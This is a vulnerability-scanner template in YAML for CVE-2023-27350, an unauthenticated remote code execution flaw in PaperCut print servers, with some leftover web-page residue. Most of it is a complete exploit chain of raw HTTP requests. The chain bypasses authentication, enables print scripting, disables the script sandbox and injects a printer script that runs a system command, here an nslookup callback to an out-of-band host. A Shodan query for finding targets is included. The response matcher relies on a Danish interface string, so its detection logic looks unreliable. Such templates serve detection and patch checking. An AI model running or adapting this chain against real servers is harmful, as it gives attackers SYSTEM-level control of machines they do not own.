131 lines
4.5 KiB
YAML
131 lines
4.5 KiB
YAML
id: CVE-2023-27350
|
|
|
|
info:
|
|
name: PaperCut - Unauthenticated Remote Code Execution
|
|
author: rootxharsh,iamnoooob,pdresearch
|
|
severity: critical
|
|
description: |
|
|
This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
|
|
reference:
|
|
- https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-27350
|
|
- https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
|
|
- https://www.zerodayinitiative.com/advisories/ZDI-23-233/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-27350
|
|
cwe-id: CWE-284
|
|
epss-score: 0.0117
|
|
metadata:
|
|
max-request: 10
|
|
shodan-query: http.html:"PaperCut"
|
|
verified: true
|
|
tags: cve,cve2023,papercut,rce,oast,unauth,kev
|
|
|
|
variables:
|
|
cmd: "nslookup {{interactsh-url}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /app?service=page/SetupCompleted HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update
|
|
|
|
- |
|
|
GET /app?service=page/PrinterList HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=page%2FPrinterList
|
|
|
|
- |
|
|
POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}}
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4
|
|
|
|
- |
|
|
POST /app HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply
|
|
|
|
cookie-reuse: true
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
internal: true
|
|
name: printerID
|
|
group: 1
|
|
regex:
|
|
- 'erList\/selectPrinterCost&sp=([a-z0-9]+)">'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'Avanceret kontering'
|